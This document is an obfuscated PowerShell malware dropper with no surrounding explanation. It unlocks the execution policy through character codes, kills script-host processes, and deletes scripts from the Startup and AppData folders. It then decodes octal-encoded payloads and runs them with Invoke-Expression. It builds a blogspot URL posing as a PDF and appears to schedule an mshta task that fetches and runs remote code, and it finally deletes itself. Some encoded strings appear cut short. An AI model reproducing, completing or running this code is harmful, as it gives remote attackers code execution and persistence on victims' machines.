${cmd}=[char[]](83,101,116,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121) -join ''; Invoke-Expression "$cmd Unrestricted -Scope CurrentUser -Force"
# Stop specified processes
"RegSvcs", "mshta", "wscript", "msbuild" | ForEach-Object {
$p = Get-Process -Name $_ -ErrorAction SilentlyContinue
if ($p) { Stop-Process -Name $_ -Force }
# Close *.bat.exe processes
Get-Process | Where-Object { $_.ProcessName -like "*.bat.exe" } | ForEach-Object {
$_.CloseMainWindow(); $_.WaitForExit(5000)
if (-not $_.HasExited) { $_.Kill() }
# Remove specific file types from directories
"$env:APPDATA", "$env:PUBLIC", "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" |
ForEach-Object {
Get-ChildItem -Path $_ -Include *.bat, *.ps1, *.lnk, *.cmd, *.vbs -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
Try {
Remove-Item -Path $_.FullName -Force -ErrorAction Stop
} Catch {
Write-Host "Failed to delete: $($_.FullName) - $_" -ForegroundColor Red
}
# Remove .vbs files
"$env:PUBLIC", "$env:APPDATA", "$env:ProgramData" | ForEach-Object {
Get-ChildItem -Path $_ -Filter *.vbs -File -ErrorAction SilentlyContinue | Remove-Item -Force
$okasodkaoskdoaksd= "C:\ProgramData\phuddidyyaaa"
ni $okasodkaoskdoaksd -it d -fo
$lundkimuchili = @'
$poppopmdabaomazyurao = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000722571320722753402503640711213343203620051470043363430443710013602462422670103301022042213063053230112742713240731161410503572123721572001452152563422030453401742153202600523101623223553400202011342213700021060043171603132122252621470503421300173030140142571012522762031173413302350600050143272342633251012773263770142471570673403171313032450303751250021101061410751612662561472430743702761660772531430323672513620622331122421001231251133431662012613220672133023650270140550020602251670012230042133752670340150453510310501013663062340233722461651603633033361403100130141522222112651772740112723613022460442100430602112751562553552233013023622433050011033412170363512012203121570461231721033420612110370750531212213422771232303433560650340701062172670553631021360200011030251731721562330300172130273572220510030152530643443251712131331752462512521551263252061050253463670763242051102712100201322613141231202
$kulkapiorikhanloramyra = "1461651561431641511571560401031571561661451621640551101051301241571021511561411621710401730150120111601411621411550400501331631641621511561471350441701041411641410510150120150120400400400400441541451560400750401331551411641501350720721031451511541511561470500441701041411641410561141451561471641500400570400630510150120400400400400441421711641451011621621411710400750401331421711641451331351350720721561451670500441541451560510150120150120400400400400441511561441451700400750400600150120400400400401461571620400500441510400750400600730400441510400551541640400441701041411641410561141451561471641500730400441510400530750400630510401730150120400400400400400400400400441431501651561530400750400441701041411641410561231651421631641621511561470500441510540401331551411641501350720721151511560500630540400441701041411641410561141451561471641500400550400441510510510150120400400400400400400400400441421711641451011621621411711330441511561441451700530531350400750401331431571561661451621641350720721241571
function OctalToText {
param (
[string]$OctalString
try {
# Ensure the length of the octal string is divisible by 3
if ($OctalString.Length % 3 -ne 0) {
throw "Invalid octal input length"
}
# Create a char array for faster string building
$outputChars = New-Object System.Text.StringBuilder
# Loop through the octal string in groups of 3 characters
for ($i = 0; $i -lt $OctalString.Length; $i += 3) {
# Extract 3-character segments (octal digits)
$currentOctal = $OctalString.Substring($i, 3)
# Convert octal digits to ASCII character and append to the StringBuilder
$convertedChar = [char]::ConvertFromUtf32([convert]::ToInt32($currentOctal, 8))
[void]$outputChars.Append($convertedChar)
}
# Return the final text
return $outputChars.ToString()
catch {
# Handle errors and return the error message
return "Error: $_"
(OctalToText $kulkapiorikhanloramyra) | . iex
Remove-Item "$okasodkaoskdoaksd\aksodkaosdwwkkw.~!!@@!!@!!!!!!@!@@!!@@!@@!!@@!!~", $okasodkaoskdoaksd -Recurse -Force
#the File will start cumiing to your pca
[IO.File]::WriteAllText("$okasodkaoskdoaksd\\aksodkaosdwwkkw.~!!@@!!@!!!!!!@!@@!!@@!@@!!@@!!~", $lundkimuchili)
$lundkimuchili | . iex
function Get-RandomCharacters {
$customCharacters = "abcdefghijklmnopqrstuvwxyz"
-join ((0..2) | ForEach-Object { $customCharacters.Substring((Get-Random -Maximum $customCharacters.Length), 1) })
function Get-RandomNumber {
param ($min = 240, $max = 360)
return Get-Random -Minimum $min -Maximum ($max + 1)
$basidbubuchsha = "044154157162141153165142141154165154040075040100042015012042152141166141163143162151160164072166141162040141142143040075040133047123150145154154056101160160154151143141164151157156047054040047123110105114114105130105103125124105047054040047160157167145162163150145154154047054040047055145160040102171160141163163040055143040133116145164056123145162166151143145120157151156164115141156141147145162135072072123145143165162151164171120162157164157143157154040075040133116145164056123145143165162151164171120162157164157143157154124171160145135072072124154163061062073050151162155040154151156153153141154165156144051040174040056040151145170073123164141162164055123154145145160040055123145143157156144163040067073047054040047047054040047157160145156047054040060135054040144145146040075040133047123143162151160164151156147056106151154145123171163164145155117142152145143164047054040047104145154145164145106151154145047054040047127123143162151160164056123143162151160164106165154154116141155145047135054040147150
$luganalorapumpum = OctalToText $basidbubuchsha
$phudikhan = 'https://'
$masrkowqkASUdksjm = $phudikhan + 'hotelfebi2025.' + 'b' + 'l' + 'o' + 'g' + 'sp' + 'o' + 't' + '.' + 'c' + 'o' + 'm' + '//nigple.pdf'
$varasdajdiwjdiwjwdijjiwjidwji0 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji1 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji2 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji3 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji4 = "booking"
$varasdajdiwjdiwjwdijjiwjidwji5 = "Ubookingx"
$varasdajdiwjdiwjwdijjiwjidwji6 = Get-RandomNumber
$varasdajdiwjdiwjwdijjiwjidwji7 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji8 = Get-RandomCharacters
$varasdajdiwjdiwjwdijjiwjidwji9 = Get-RandomCharacters
# Output the random number assigned to the variable
Write-Output "Sheduler-time: $varasdajdiwjdiwjwdijjiwjidwji6"
$luganalorapumpum = $luganalorapumpum.Replace('taskkilulli', $varasdajdiwjdiwjwdijjiwjidwji5).Replace('linkkalund', $masrkowqkASUdksjm).Replace('abc', $varasdajdiwjdiwjwdijjiwjidwji1).Replace('def', $varasdajdiwjdiwjwdijjiwjidwji2).Replace('lundkalullitimmer', $varasdajdiwjdiwjwdijjiwjidwji6).Replace('lundhitaskhai', $varasdajdiwjdiwjwdijjiwjidwji4).Replace('ghi', $varasdajdiwjdiwjwdijjiwjidwji3).Replace('jkl', $varasdajdiwjdiwjwdijjiwjidwji0).Replace('cwx', $varasdajdiwjdiwjwdijjiwjidwji7).Replace('lwdx', $varasdajdiwjdiwjwdijjiwjidwji8).Replace('mkx', $varasdajdiwjdiwjwdijjiwjidwji9)
$luganalorapumpum | . Iex
$scriptPath = $MyInvocation.MyCommand.Path
# Check if the script path exists
if (Test-Path $scriptPath) {
# Try to delete the script
try {
Remove-Item -Path $scriptPath -Force
Write-Output "Script has been deleted successfully."
} catch {
Write-Error "Failed to delete the script. Error: $_"
} else {
Write-Error "Script path does not exist."
Start-Sleep -Seconds 22
# Get processes with .bat or powershell in their command lines and stop them forcefully
Get-Process | Where-Object { $_.MainModule.FileName -like '*\*.bat' -or $_.MainModule.FileName -like '*\powershell*' } | ForEach-Object { Stop-Process -Id $_.Id -Force }